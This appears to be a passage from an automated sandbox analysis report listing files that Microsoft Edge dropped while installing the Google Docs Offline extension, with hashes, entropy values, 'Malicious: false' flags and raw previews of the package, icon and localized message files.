.O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\76a1cc2f-9dcb-4de9-8a0d-1ecccdfd86cd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
